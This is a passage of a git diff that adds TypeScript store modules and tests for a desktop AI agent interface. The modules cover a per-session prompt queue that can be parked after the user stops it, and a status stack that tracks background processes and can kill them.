+    enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'new intent' })
+
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+  })
+
+  it('emptying the queue drops the park', () => {
+    const entry = enqueueQueuedPrompt(SESSION_KEY, { attachments: [], text: 'held back' })
+    parkQueuedPrompts(SESSION_KEY)
+
+    removeQueuedPrompt(SESSION_KEY, entry!.id)
+
+    expect(isQueueParked(SESSION_KEY)).toBe(false)
+  })
+
+  it('a park travels with migrated entries', () => {
+    // A backend bounce right after Stop re-keys the queue; shedding the park
+    // there would auto-send the exact prompts the user just halted.
+    enqueueQueuedPrompt('rt-old', { attachments: [], text: 'held back' })
+    parkQueuedPrompts('rt-old')
+
+    migrateQueuedPrompts('rt-old', 'rt-new')
+
+    expect(isQueueParked('rt-old')).toBe(false)
+    expect(isQueueParked('rt-new')).toBe(true)
+  })
+
+  it('migration without a park does not invent one', () => {
+    enqueueQueuedPrompt('rt-old', { attachments: [], text: 'flowing' })
+
+    migrateQueuedPrompts('rt-old', 'rt-new')
+
+    expect(isQueueParked('rt-new')).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/store/composer-queue.ts b/ui-desktop/src/store/composer-queue.ts
new file mode 100644
index 000000000..4284045e9
--- /dev/null
+++ b/ui-desktop/src/store/composer-queue.ts
@@ -0,0 +1,358 @@
+import { atom } from 'nanostores'
+
+import type { ComposerAttachment } from './composer'
+
+export interface QueuedPromptEntry {
+  id: string
+  text: string
+  /** What the queue panel and the sent bubble show, when it differs from the
+   *  text the agent receives. A queued `/skill` invocation carries the whole
+   *  expanded skill body as `text` — the UI shows the invocation instead. */
+  displayText?: string
+  attachments: ComposerAttachment[]
+  queuedAt: number
+}
+
+type QueueState = Record<string, QueuedPromptEntry[]>
+
+const STORAGE_KEY = 'clawcodex.desktop.composerQueue.v1'
+
+const load = (): QueueState => {
+  if (typeof window === 'undefined') {
+    return {}
+  }
+
+  try {
+    const raw = window.localStorage.getItem(STORAGE_KEY)
+    const parsed = raw ? JSON.parse(raw) : null
+
+    return parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? (parsed as QueueState) : {}
+  } catch {
+    return {}
+  }
+}
+
+const save = (state: QueueState) => {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  try {
+    if (Object.keys(state).length === 0) {
+      window.localStorage.removeItem(STORAGE_KEY)
+    } else {
+      window.localStorage.setItem(STORAGE_KEY, JSON.stringify(state))
+    }
+  } catch {
+    // best-effort: storage may be unavailable, queue still works in-memory
+  }
+}
+
+export const $queuedPromptsBySession = atom<QueueState>(load())
+
+/**
+ * Sessions whose queue the user explicitly halted (Stop button / Esc). A parked
+ * queue is skipped by both auto-drain paths until the user acts on it again —
+ * resume, send-now, a manual drain, queueing a fresh prompt, or emptying the
+ * queue all unpark. Deliberately in-memory only: a fresh app process starts
+ * unparked, so restored-entry semantics stay a separate concern.
+ */
+export const $parkedQueueSessions = atom<Record<string, true>>({})
+
+const setParked = (sid: string, parked: boolean) => {
+  const current = $parkedQueueSessions.get()
+
+  if (Boolean(current[sid]) === parked) {
+    return
+  }
+
+  const next = { ...current }
+
+  if (parked) {
+    next[sid] = true
+  } else {
+    delete next[sid]
+  }
+
+  $parkedQueueSessions.set(next)
+}
+
+const writeSession = (sid: string, queue: QueuedPromptEntry[]) => {
+  const current = $queuedPromptsBySession.get()
+  const next = { ...current }
+
+  if (queue.length === 0) {
+    delete next[sid]
+    // An empty queue has nothing to hold back — drop the park so it can't
+    // linger as stale state and silently gate entries queued much later.
+    setParked(sid, false)
+  } else {
+    next[sid] = queue
+  }
+
+  $queuedPromptsBySession.set(next)
+  save(next)
+}
+
+const sidOf = (key: string | null | undefined): null | string => {
+  const trimmed = key?.trim()
+
+  return trimmed ? trimmed : null
+}
+
+const queueFor = (sid: string) => $queuedPromptsBySession.get()[sid] ?? []
+
+const nextId = () => `queued-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
+
+const cloneAttachments = (attachments: ComposerAttachment[]) => attachments.map(a => ({ ...a }))
+
+export const getQueuedPrompts = (key: string | null | undefined): QueuedPromptEntry[] => {
+  const sid = sidOf(key)
+
+  return sid ? queueFor(sid) : []
+}
+
+export const enqueueQueuedPrompt = (
+  key: string | null | undefined,
+  payload: { text: string; attachments: ComposerAttachment[]; displayText?: string }
+): null | QueuedPromptEntry => {
+  const sid = sidOf(key)
+
+  if (!sid) {
+    return null
+  }
+
+  const entry: QueuedPromptEntry = {
+    id: nextId(),
+    text: payload.text,
+    ...(payload.displayText ? { displayText: payload.displayText } : {}),
+    attachments: cloneAttachments(payload.attachments),
+    queuedAt: Date.now()
+  }
+
+  writeSession(sid, [...queueFor(sid), entry])
+  // Queueing a new prompt is fresh intent to keep the conversation moving —
+  // a park from an earlier Stop must not hold this (or the entries ahead of
+  // it) back.
+  setParked(sid, false)
+
+  return entry
+}
+
+export const dequeueQueuedPrompt = (key: string | null | undefined): null | QueuedPromptEntry => {
+  const sid = sidOf(key)
+
+  if (!sid) {
+    return null
+  }
+
+  const [head, ...rest] = queueFor(sid)
+
+  if (!head) {
+    return null
+  }
+
+  writeSession(sid, rest)
+
+  return head
+}
+
+export const removeQueuedPrompt = (key: string | null | undefined, id: string): boolean => {
+  const sid = sidOf(key)
+
+  if (!sid) {
+    return false
+  }
+
+  const queue = queueFor(sid)
+  const next = queue.filter(e => e.id !== id)
+
+  if (next.length === queue.length) {
+    return false
+  }
+
+  writeSession(sid, next)
+
+  return true
+}
+
+export const promoteQueuedPrompt = (key: string | null | undefined, id: string): boolean => {
+  const sid = sidOf(key)
+
+  if (!sid) {
+    return false
+  }
+
+  const queue = queueFor(sid)
+  const index = queue.findIndex(e => e.id === id)
+
+  if (index <= 0) {
+    return false
+  }
+
+  const entry = queue[index]!
+  writeSession(sid, [entry, ...queue.slice(0, index), ...queue.slice(index + 1)])
+
+  return true
+}
+
+export const updateQueuedPrompt = (
+  key: string | null | undefined,
+  id: string,
+  update: { text: string; attachments?: ComposerAttachment[] }
+): boolean => {
+  const sid = sidOf(key)
+
+  if (!sid) {
+    return false
+  }
+
+  const queue = queueFor(sid)
+  let changed = false
+
+  const next = queue.map(entry => {
+    if (entry.id !== id) {
+      return entry
+    }
+
+    const attachments = update.attachments ? cloneAttachments(update.attachments) : entry.attachments
+
+    if (entry.text === update.text && !update.attachments) {
+      return entry
+    }
+
+    changed = true
+
+    // The user rewrote the text, so any display projection it carried (a
+    // `/skill` invocation standing in for the expanded body) no longer
+    // describes it — what they typed is now what sends.
+    const { displayText: _dropped, ...rest } = entry
+
+    return { ...rest, text: update.text, attachments }
+  })
+
+  if (!changed) {
+    return false
+  }
+
+  writeSession(sid, next)
+
+  return true
+}
+
+export const updateQueuedPromptText = (key: string | null | undefined, id: string, text: string): boolean =>
+  updateQueuedPrompt(key, id, { text })
+
+export const clearQueuedPrompts = (key: string | null | undefined) => {
+  const sid = sidOf(key)
+
+  if (!sid || !(sid in $queuedPromptsBySession.get())) {
+    return
+  }
+
+  writeSession(sid, [])
+}
+
+/**
+ * Move pending entries from a dead session key onto a live one, preserving FIFO
+ * (existing target entries first, migrated entries appended). A backend bounce /
+ * resume can mint a fresh runtime session id for the *same* conversation; the
+ * entries enqueued under the old id would otherwise be stranded under a key
+ * nothing reads anymore. No-op unless both keys resolve and differ.
+ */
+export const migrateQueuedPrompts = (fromKey: string | null | undefined, toKey: string | null | undefined): boolean => {
+  const from = sidOf(fromKey)
+  const to = sidOf(toKey)
+
+  if (!from || !to || from === to) {
+    return false
+  }
+
+  const pending = queueFor(from)
+
+  if (pending.length === 0) {
+    return false
+  }
+
+  const next = { ...$queuedPromptsBySession.get() }
+  delete next[from]
+  next[to] = [...queueFor(to), ...pending]
+
+  $queuedPromptsBySession.set(next)
+  save(next)
+
+  // The park is a property of the entries the user halted — it re-homes with
+  // them. Without this, a backend bounce right after Stop would shed the park
+  // and auto-send the exact prompts the user just held back.
+  if ($parkedQueueSessions.get()[from]) {
+    setParked(from, false)
+    setParked(to, true)
+  }
+
+  return true
+}
+
+/**
+ * Park a session's queue after an explicit user halt (Stop / Esc): entries stay
+ * visible in the panel but neither auto-drain path sends them. No-op for a
+ * session with nothing queued — parking exists to hold back queued turns, and
+ * a park with no queue would only linger as a stale gate.
+ */
+export const parkQueuedPrompts = (key: string | null | undefined): boolean => {
+  const sid = sidOf(key)
+
+  if (!sid || queueFor(sid).length === 0) {
+    return false
+  }
+
+  setParked(sid, true)
+
+  return true
+}
+
+/** Lift a park (user resumed the queue). Safe to call for any session. */
+export const unparkQueuedPrompts = (key: string | null | undefined): void => {
+  const sid = sidOf(key)
+
+  if (sid) {
+    setParked(sid, false)
+  }
+}
+
+export const isQueueParked = (key: string | null | undefined): boolean => {
+  const sid = sidOf(key)
+
+  return sid ? Boolean($parkedQueueSessions.get()[sid]) : false
+}
+
+/** Inputs to {@link shouldAutoDrain}. */
+export interface AutoDrainInput {
+  isBusy: boolean
+  /** The user explicitly halted this session's queue (Stop / Esc). */
+  parked?: boolean
+  queueLength: number
+}
+
+/**
+ * Decide whether the composer should auto-drain the next queued prompt.
+ *
+ * Edge-independent on purpose: the queue must advance whenever the session is
+ * idle and has pending entries, NOT only on an observed busy true → false edge.
+ * A backend bounce / websocket reconnect remounts the composer and resets the
+ * busy ref to the current value, swallowing the settle edge — an edge-gated
+ * drain would then strand the entry forever. The caller's drain lock
+ * (`drainingQueueRef`) serializes sends so being edge-free can't double-submit.
+ *
+ * `parked` is the one deliberate exception: an explicit Stop/Esc is the user
+ * saying HALT, and immediately firing the next queued prompt contradicts the
+ * instruction they just gave. Parked entries stay in the panel until the user
+ * resumes, sends, edits, or deletes them. Interrupts that exist to reach the
+ * queue faster (send-now-while-busy) never park, so they keep draining through
+ * this same gate.
+ */
+export const shouldAutoDrain = ({ isBusy, parked, queueLength }: AutoDrainInput): boolean =>
+  !isBusy && !parked && queueLength > 0
+
+/** Auto-drain attempts for one entry before we stop retrying and toast. The
+ * entry stays queued for a manual send; a remount/reconnect resets the count. */
+export const MAX_AUTO_DRAIN_ATTEMPTS = 4
diff --git a/ui-desktop/src/store/composer-status.test.ts b/ui-desktop/src/store/composer-status.test.ts
new file mode 100644
index 000000000..19373667f
--- /dev/null
+++ b/ui-desktop/src/store/composer-status.test.ts
@@ -0,0 +1,153 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $backgroundStatusBySession, dismissBackgroundProcess, reconcileBackgroundProcesses } from './composer-status'
+
+const SID = 'sess-1'
+
+const running = (id: string, command = `cmd ${id}`) => ({ command, session_id: id, status: 'running' })
+
+const exited = (id: string, exit_code = 0, command = `cmd ${id}`) => ({
+  command,
+  exit_code,
+  session_id: id,
+  status: 'exited'
+})
+
+const items = () => $backgroundStatusBySession.get()[SID] ?? []
+
+describe('reconcileBackgroundProcesses', () => {
+  beforeEach(() => {
+    // Fake timers so the success self-clear (a real setTimeout) is deterministic
+    // and never leaks a pending timer between tests.
+    vi.useFakeTimers()
+    $backgroundStatusBySession.set({})
+  })
+
+  afterEach(() => {
+    vi.clearAllTimers()
+    vi.useRealTimers()
+  })
+
+  it('maps registry entries to status items', () => {
+    reconcileBackgroundProcesses(SID, [running('a'), exited('b', 0), exited('c', 1)])
+
+    expect(items().map(i => [i.id, i.state])).toEqual([
+      ['a', 'running'],
+      ['b', 'done'],
+      ['c', 'failed']
+    ])
+    expect(items()[2]!.exitCode).toBe(1)
+  })
+
+  it('keeps row order stable when a process flips state or the snapshot reorders', () => {
+    reconcileBackgroundProcesses(SID, [running('a'), running('b')])
+    // Snapshot arrives reordered AND `a` has exited — rows must not move.
+    reconcileBackgroundProcesses(SID, [running('b'), exited('a', 0)])
+
+    expect(items().map(i => [i.id, i.state])).toEqual([
+      ['a', 'done'],
+      ['b', 'running']
+    ])
+  })
+
+  it('appends new processes after existing rows', () => {
+    reconcileBackgroundProcesses(SID, [running('a')])
+    reconcileBackgroundProcesses(SID, [running('b'), running('a')])
+
+    expect(items().map(i => i.id)).toEqual(['a', 'b'])
+  })
+
+  it('preserves object identity for unchanged rows (memo stability)', () => {
+    reconcileBackgroundProcesses(SID, [running('a'), running('b')])
+    const [a1] = items()
+
+    reconcileBackgroundProcesses(SID, [running('a'), exited('b', 0)])
+    const [a2, b2] = items()
+
+    expect(a2).toBe(a1)
+    expect(b2!.state).toBe('done')
+  })
+
+  it('is a no-op store write when nothing changed', () => {
+    reconcileBackgroundProcesses(SID, [running('a')])
+    const before = $backgroundStatusBySession.get()
+
+    reconcileBackgroundProcesses(SID, [running('a')])
+
+    expect($backgroundStatusBySession.get()).toBe(before)
+  })
+
+  it('never resurrects a dismissed process while the registry still reports it', () => {
+    reconcileBackgroundProcesses(SID, [exited('a', 0), running('b')])
+    dismissBackgroundProcess(SID, 'a')
+
+    reconcileBackgroundProcesses(SID, [exited('a', 0), running('b')])
+
+    expect(items().map(i => i.id)).toEqual(['b'])
+  })
+
+  it('forgets a dismissal once the registry prunes the process', () => {
+    reconcileBackgroundProcesses(SID, [exited('a', 0)])
+    dismissBackgroundProcess(SID, 'a')
+
+    // Registry pruned it…
+    reconcileBackgroundProcesses(SID, [])
+    // …so a future process reusing the id (new spawn) shows again.
+    reconcileBackgroundProcesses(SID, [running('a')])
+
+    expect(items().map(i => i.id)).toEqual(['a'])
+  })
+
+  it('drops the session key entirely when the last row goes away', () => {
+    reconcileBackgroundProcesses(SID, [running('a')])
+    reconcileBackgroundProcesses(SID, [])
+
+    expect($backgroundStatusBySession.get()).toEqual({})
+  })
+
+  // The self-clear path calls dismissBackgroundProcess, which records the id in
+  // the module-level dismissed set; use a fresh session per test so that record
+  // can't bleed into another test's reconcile.
+  const itemsOf = (sid: string) => $backgroundStatusBySession.get()[sid] ?? []
+
+  it('self-clears a finished success after a short linger', () => {
+    reconcileBackgroundProcesses('sess-clear', [exited('a', 0)])
+    expect(itemsOf('sess-clear').map(i => i.id)).toEqual(['a'])
+
+    vi.advanceTimersByTime(5_000)
+
+    expect(itemsOf('sess-clear')).toEqual([])
+  })
+
+  it('self-clears a failed task too, but only after a longer linger', () => {
+    reconcileBackgroundProcesses('sess-fail', [exited('a', 1)])
+
+    // Still visible after the success window — the failure gets a longer one so
+    // its exit code stays readable.
+    vi.advanceTimersByTime(5_000)
+    expect(itemsOf('sess-fail').map(i => [i.id, i.state])).toEqual([['a', 'failed']])
+
+    vi.advanceTimersByTime(10_000)
+    expect(itemsOf('sess-fail')).toEqual([])
+  })
+
+  it('never self-clears a still-running task', () => {
+    reconcileBackgroundProcesses('sess-run', [running('a')])
+
+    vi.advanceTimersByTime(60_000)
+
+    expect(itemsOf('sess-run').map(i => i.id)).toEqual(['a'])
+  })
+
+  it('arms the self-clear only once a task finishes', () => {
+    reconcileBackgroundProcesses('sess-arm', [running('a')])
+    vi.advanceTimersByTime(60_000)
+    // Still running after a minute — nothing scheduled yet.
+    expect(itemsOf('sess-arm').map(i => i.id)).toEqual(['a'])
+
+    reconcileBackgroundProcesses('sess-arm', [exited('a', 0)])
+    vi.advanceTimersByTime(5_000)
+
+    expect(itemsOf('sess-arm')).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/store/composer-status.ts b/ui-desktop/src/store/composer-status.ts
new file mode 100644
index 000000000..46152e076
--- /dev/null
+++ b/ui-desktop/src/store/composer-status.ts
@@ -0,0 +1,447 @@
+import { atom, computed } from 'nanostores'
+
+import { translateNow } from '@/i18n'
+import { stableArray } from '@/lib/stable-array'
+import type { TodoItem, TodoStatus } from '@/lib/todos'
+
+import { $gateway } from './gateway'
+import { $goalsBySession, type GoalStatus } from './goals'
+import { dispatchNativeNotification } from './native-notifications'
+import { notifyError } from './notifications'
+import { $sessionStates } from './session-states'
+import { $subagentsBySession, type SubagentProgress } from './subagents'
+import { $todosBySession } from './todos'
+
+/** Composer status stack feed — merged todos, subagents, background per session. */
+export type StatusItemState = 'done' | 'failed' | 'running'
+export type StatusItemType = 'background' | 'goal' | 'subagent' | 'todo'
+
+export interface ComposerStatusItem {
+  /** background: non-zero exit shown inline when failed. */
+  exitCode?: number
+  /** subagent: active tool label shown on the right. */
+  currentTool?: string
+  /** goal: active | paused | waiting | done. */
+  goalStatus?: GoalStatus
+  id: string
+  /** background process: captured stdout/stderr tail for the inline viewer. */
+  output?: string
+  /** subagent: its own stored session id — row click opens that session window
+   *  (livestreamed by the gateway's child-session mirror). */
+  sessionId?: string
+  state: StatusItemState
+  title: string
+  /** todo: the full four-state status driving the row's checkmark glyph. */
+  todoStatus?: TodoStatus
+  type: StatusItemType
+}
+
+// Writable source for background work, synced from the gateway's process
+// registry (`terminal(background=true)` spawns) via `process.list`.
+export const $backgroundStatusBySession = atom<Record<string, ComposerStatusItem[]>>({})
+
+// Stored session ids that have at least one RUNNING background process. The
+// sidebar row reads this for a pulsing gray dot — distinct from the accent
+// pulse of an active LLM turn — so the user can tell at a glance "this session
+// has something chugging along in the background" even when the turn is idle.
+//
+// $backgroundStatusBySession is keyed by RUNTIME session id (gateway events
+// and process.list both speak that); the sidebar row knows only the STORED id.
+// $sessionStates bridges the two: runtime id → state.storedSessionId.
+// Perf: recomputes on every $sessionStates change (message deltas, tens/sec),
+// but the background-running set rarely moves. `stableArray` keeps the prior
+// reference when unchanged so rows reading this don't re-render per token.
+let backgroundRunningIds: readonly string[] = []
+export const $backgroundRunningSessionIds = computed([$backgroundStatusBySession, $sessionStates], (bg, states) => {
+  const ids = new Set<string>()
+
+  for (const [runtimeId, items] of Object.entries(bg)) {
+    if (items.some(i => i.state === 'running')) {
+      const storedId = states[runtimeId]?.storedSessionId
+
+      if (storedId) {
+        ids.add(storedId)
+      }
+    }
+  }
+
+  return (backgroundRunningIds = stableArray(backgroundRunningIds, [...ids]))
+})
+
+// Rows the user X-ed away. The registry keeps finished processes around for a
+// while, so without this every refresh would resurrect a dismissed row.
+const dismissedBySession = new Map<string, Set<string>>()
+
+// Finished tasks self-clear so the stack only ever holds running work. Success
+// goes quick; failure lingers longer so its exit code stays readable (the output
+// also lives in the transcript). A manual X still drops either at once.
+const SUCCESS_LINGER_MS = 4_000
+const FAILURE_LINGER_MS = 12_000
+const autoClearTimers = new Map<string, Map<string, ReturnType<typeof setTimeout>>>()
+
+function scheduleAutoDismiss(sid: string, id: string, delayMs: number) {
+  let timers = autoClearTimers.get(sid)
+
+  if (timers?.has(id)) {
+    return
+  }
+
+  if (!timers) {
+    timers = new Map()
+    autoClearTimers.set(sid, timers)
+  }
+
+  timers.set(
+    id,
+    setTimeout(() => {
+      autoClearTimers.get(sid)?.delete(id)
+      dismissBackgroundProcess(sid, id)
+    }, delayMs)
+  )
+}
+
+function cancelAutoDismiss(sid: string, id: string) {
+  const timers = autoClearTimers.get(sid)
+
+  if (!timers) {
+    return
+  }
+
+  const timer = timers.get(id)
+
+  if (timer !== undefined) {
+    clearTimeout(timer)
+    timers.delete(id)
+  }
+}
+
+function cancelAllAutoDismiss(sid: string) {
+  const timers = autoClearTimers.get(sid)
+
+  if (!timers) {
+    return
+  }
+
+  for (const timer of timers.values()) {
+    clearTimeout(timer)
+  }
+
+  autoClearTimers.delete(sid)
+}
+
+const subToItem = (s: SubagentProgress): ComposerStatusItem => ({
+  currentTool: s.currentTool,
+  id: s.id,
+  sessionId: s.sessionId,
+  state: 'running',
+  title: s.goal,
+  type: 'subagent'
+})
+
+const todoToItem = (t: TodoItem): ComposerStatusItem => ({
+  id: `todo:${t.id}`,
+  state: t.status === 'in_progress' ? 'running' : 'done',
+  title: t.content,
+  todoStatus: t.status,
+  type: 'todo'
+})
+
+const goalToItem = (goal: { detail?: string; status: GoalStatus; title: string }): ComposerStatusItem => ({
+  currentTool: goal.detail,
+  goalStatus: goal.status,
+  id: 'goal:standing',
+  state: goal.status === 'active' || goal.status === 'waiting' ? 'running' : 'done',
+  title: goal.title,
+  type: 'goal'
+})
+
+// The single thing the stack reads: a typed, merged item list per session.
+//
+// Identity contract: this computed's inputs churn constantly during a turn (a
+// subagent tick, a 5s background poll, a todo update — in ANY session), but
+// the merged output for most sessions is unchanged. Rebuilding fresh arrays
+// and item objects every time handed every mounted composer stack a new
+// reference per recompute — cross-session churn × open tiles. Stabilize both
+// levels: an unchanged session keeps its previous array (and item objects),
+// and a fully-unchanged map keeps its previous reference so `computed` skips
+// the notify entirely ("preserve reference identity on no-ops").
+const sameStatusItem = (a: ComposerStatusItem, b: ComposerStatusItem) =>
+  a.id === b.id &&
+  a.type === b.type &&
+  a.state === b.state &&
+  a.title === b.title &&
+  a.output === b.output &&
+  a.exitCode === b.exitCode &&
+  a.currentTool === b.currentTool &&
+  a.goalStatus === b.goalStatus &&
+  a.todoStatus === b.todoStatus &&
+  a.sessionId === b.sessionId
+
+const stabilizeItems = (prev: ComposerStatusItem[] | undefined, next: ComposerStatusItem[]): ComposerStatusItem[] => {
+  if (!prev) {
+    return next
+  }
+
+  const merged = next.map((item, i) => (prev[i] && sameStatusItem(prev[i], item) ? prev[i] : item))
+
+  return merged.length === prev.length && merged.every((item, i) => item === prev[i]) ? prev : merged
+}
+
+let prevStatusItems: Record<string, ComposerStatusItem[]> = {}
+
+export const $statusItemsBySession = computed(
+  [$goalsBySession, $subagentsBySession, $backgroundStatusBySession, $todosBySession],
+  (goals, subs, background, todos) => {
+    const out: Record<string, ComposerStatusItem[]> = {}
+
+    const push = (sid: string, items: ComposerStatusItem[]) => {
+      if (items.length > 0) {
+        out[sid] = out[sid] ? [...out[sid], ...items] : items
+      }
+    }
+
+    for (const [sid, list] of Object.entries(todos)) {
+      push(sid, list.map(todoToItem))
+    }
+
+    for (const [sid, goal] of Object.entries(goals)) {
+      push(sid, [goalToItem(goal)])
+    }
+
+    for (const [sid, list] of Object.entries(subs)) {
+      push(sid, list.filter(s => s.status === 'running' || s.status === 'queued').map(subToItem))
+    }
+
+    for (const [sid, list] of Object.entries(background)) {
+      push(sid, list)
+    }
+
+    let unchanged = Object.keys(prevStatusItems).length === Object.keys(out).length
+
+    for (const sid of Object.keys(out)) {
+      out[sid] = stabilizeItems(prevStatusItems[sid], out[sid]!)
+      unchanged &&= out[sid] === prevStatusItems[sid]
+    }
+
+    return (prevStatusItems = unchanged ? prevStatusItems : out)
+  }
+)
+
+// Fixed render order for the groups in the stack (top → bottom, above queue).
+const TYPE_ORDER: readonly StatusItemType[] = ['goal', 'todo', 'subagent', 'background']
+
+export interface StatusGroup {
+  items: ComposerStatusItem[]
+  type: StatusItemType
+}
+
+export function groupStatusItems(items: readonly ComposerStatusItem[]): StatusGroup[] {
+  const byType = new Map<StatusItemType, ComposerStatusItem[]>()
+
+  for (const item of items) {
+    const list = byType.get(item.type)
+
+    if (list) {
+      list.push(item)
+    } else {
+      byType.set(item.type, [item])
+    }
+  }
+
+  return TYPE_ORDER.filter(type => byType.has(type)).map(type => ({ items: byType.get(type)!, type }))
+}
+
+const writeBackground = (sid: string, items: ComposerStatusItem[]) => {
+  const current = $backgroundStatusBySession.get()
+  const next = { ...current }
+
+  if (items.length > 0) {
+    next[sid] = items
+  } else {
+    delete next[sid]
+  }
+
+  $backgroundStatusBySession.set(next)
+}
+
+// `tui_gateway` process.list entry (tools/process_registry.list_sessions + output_tail).
+interface GatewayProcessEntry {
+  command?: string
+  exit_code?: number
+  output_tail?: string
+  session_id?: string
+  status?: string
+}
+
+const toBackgroundItem = (proc: GatewayProcessEntry): ComposerStatusItem => {
+  const exited = proc.status === 'exited'
+  const exitCode = typeof proc.exit_code === 'number' ? proc.exit_code : undefined
+
+  return {
+    exitCode,
+    id: proc.session_id ?? '',
+    output: proc.output_tail || undefined,
+    state: exited ? (exitCode ? 'failed' : 'done') : 'running',
+    title: (proc.command ?? '').split('\n')[0]!.trim() || 'background process',
+    type: 'background'
+  }
+}
+
+const sameItem = (a: ComposerStatusItem, b: ComposerStatusItem) =>
+  a.state === b.state && a.title === b.title && a.output === b.output && a.exitCode === b.exitCode
+
+/**
+ * Layout-stable sync of the registry snapshot into the store: existing rows
+ * keep their position (status flips happen in place, never reorder), new
+ * processes append, dismissed ids stay gone, and unchanged rows keep their
+ * object identity so memoised rows skip re-rendering.
+ */
+export function reconcileBackgroundProcesses(sid: string, procs: GatewayProcessEntry[]) {
+  const dismissed = dismissedBySession.get(sid)
+
+  const fresh = new Map(
+    procs
+      .filter(proc => proc.session_id && !dismissed?.has(proc.session_id))
+      .map(proc => [proc.session_id!, toBackgroundItem(proc)])
+  )
+
+  const prev = $backgroundStatusBySession.get()[sid] ?? []
+
+  // running → exited since the last snapshot = a background process just finished.
+  const prevState = new Map(prev.map(item => [item.id, item.state]))
+
+  for (const [id, item] of fresh) {
+    if (item.state !== 'running' && prevState.get(id) === 'running') {
+      dispatchNativeNotification({
+        body: item.title,
+        kind: 'backgroundDone',
+        sessionId: sid,
+        title: translateNow(
+          item.state === 'failed'
+            ? 'notifications.native.backgroundFailedTitle'
+            : 'notifications.native.backgroundDoneTitle'
+        )
+      })
+    }
+  }
+
+  const kept = prev.flatMap(old => {
+    const next = fresh.get(old.id)
+    fresh.delete(old.id)
+
+    return next ? [sameItem(old, next) ? old : next] : []
+  })
+
+  const next = [...kept, ...fresh.values()]
+
+  // Dismissals only need remembering while the registry still reports the id.
+  if (dismissed) {
+    const reported = new Set(procs.map(proc => proc.session_id))
+
+    for (const id of dismissed) {
+      if (!reported.has(id)) {
+        dismissed.delete(id)
+      }
+    }
+  }
+
+  // Arm the self-clear on every finished task (failures linger longer); cancel
+  // it for anything running again or gone from the snapshot.
+  const finishedDelay = new Map(
+    next
+      .filter(item => item.state !== 'running')
+      .map(item => [item.id, item.state === 'failed' ? FAILURE_LINGER_MS : SUCCESS_LINGER_MS])
+  )
+
+  for (const [id, delay] of finishedDelay) {
+    scheduleAutoDismiss(sid, id, delay)
+  }
+
+  for (const id of [...(autoClearTimers.get(sid)?.keys() ?? [])]) {
+    if (!finishedDelay.has(id)) {
+      cancelAutoDismiss(sid, id)
+    }
+  }
+
+  if (next.length === prev.length && next.every((item, i) => item === prev[i])) {
+    return
+  }
+
+  writeBackground(sid, next)
+}
+
+/** Pull the session's live process snapshot from the gateway. */
+export async function refreshBackgroundProcesses(sid: string): Promise<void> {
+  const gateway = $gateway.get()
+
+  if (!sid || !gateway) {
+    return
+  }
+
+  try {
+    const result = await gateway.request<{ processes?: GatewayProcessEntry[] }>('process.list', { session_id: sid })
+
+    reconcileBackgroundProcesses(sid, result?.processes ?? [])
+  } catch {
+    // Transient socket loss — the next trigger (event or poll) retries.
+  }
+}
+
+/** X on a finished row: drop it now and keep it dropped across refreshes. */
+export function dismissBackgroundProcess(sid: string, id: string) {
+  cancelAutoDismiss(sid, id)
+
+  const dismissed = dismissedBySession.get(sid) ?? new Set<string>()
+  dismissed.add(id)
+  dismissedBySession.set(sid, dismissed)
+
+  const list = $backgroundStatusBySession.get()[sid] ?? []
+
+  writeBackground(
+    sid,
+    list.filter(item => item.id !== id)
+  )
+}
+
+/** X on a running row: kill the process for real, THEN drop the row. Only drop
+ *  on a confirmed kill — dismissing unconditionally (the old behavior) hid the
+ *  row while the process lived on, stranding rogue tasks. On failure the row
+ *  stays so the user can retry / see it didn't die. */
+export async function stopBackgroundProcess(sid: string, id: string): Promise<void> {
+  try {
+    await $gateway.get()?.request('process.kill', { process_id: id, session_id: sid })
+    dismissBackgroundProcess(sid, id)
+  } catch (err) {
+    notifyError(err, 'Could not stop the process')
+  }
+}
+
+/**
+ * Rewind cleanup: a restore/edit discards the turns that spawned these
+ * processes, so they belong to an abandoned timeline. Kill the live ones and
+ * drop every row. Ids are marked dismissed so an in-flight `process.list` poll
+ * (kill is async) can't resurrect them; reconcile garbage-collects those once
+ * the registry stops reporting them.
+ */
+export function resetSessionBackground(sid: string) {
+  if (!sid) {
+    return
+  }
+
+  cancelAllAutoDismiss(sid)
+
+  const gateway = $gateway.get()
+  const list = $backgroundStatusBySession.get()[sid] ?? []
+  const dismissed = dismissedBySession.get(sid) ?? new Set<string>()
+
+  for (const item of list) {
+    dismissed.add(item.id)
+
+    if (item.state === 'running') {
+      void gateway?.request('process.kill', { process_id: item.id, session_id: sid }).catch(() => undefined)
+    }
+  }
+
+  dismissedBySession.set(sid, dismissed)
+  writeBackground(sid, [])
+}
diff --git a/ui-desktop/src/store/composer.test.ts b/ui-desktop/src/store/composer.test.ts
new file mode 100644
index 000000000..d5445ea64
--- /dev/null
+++ b/ui-desktop/src/store/composer.test.ts
@@ -0,0 +1,151 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import {
+  $composerAttachments,
+  $voiceConversationStartRequest,
+  addComposerAttachment,
+  clearSessionDraft,
+  type ComposerAttachment,
+  migrateSessionDraft,
+  removeComposerAttachment,
+  requestVoiceConversationStart,
+  SESSION_DRAFTS_STORAGE_KEY,
+  stashSessionDraft,
+  takeSessionDraft,
+  takeVoiceConversationStart,
+  updateComposerAttachment
+} from './composer'
+
+describe('voice conversation start requests', () => {
+  it('latches each request until the main composer consumes it once', () => {
+    requestVoiceConversationStart()
+    const first = $voiceConversationStartRequest.get()
+
+    expect(takeVoiceConversationStart(first)).toBe(true)
+    expect(takeVoiceConversationStart(first)).toBe(false)
+
+    requestVoiceConversationStart()
+    expect(takeVoiceConversationStart($voiceConversationStartRequest.get())).toBe(true)
+  })
+})
+
+function attachment(overrides: Partial<ComposerAttachment> & Pick<ComposerAttachment, 'id'>): ComposerAttachment {
+  return { kind: 'file', label: 'doc.pdf', ...overrides }
+}
+
+describe('updateComposerAttachment', () => {
+  afterEach(() => {
+    $composerAttachments.set([])
+  })
+
+  it('replaces an existing attachment in place', () => {
+    addComposerAttachment(attachment({ id: 'file:a', uploadState: 'uploading' }))
+
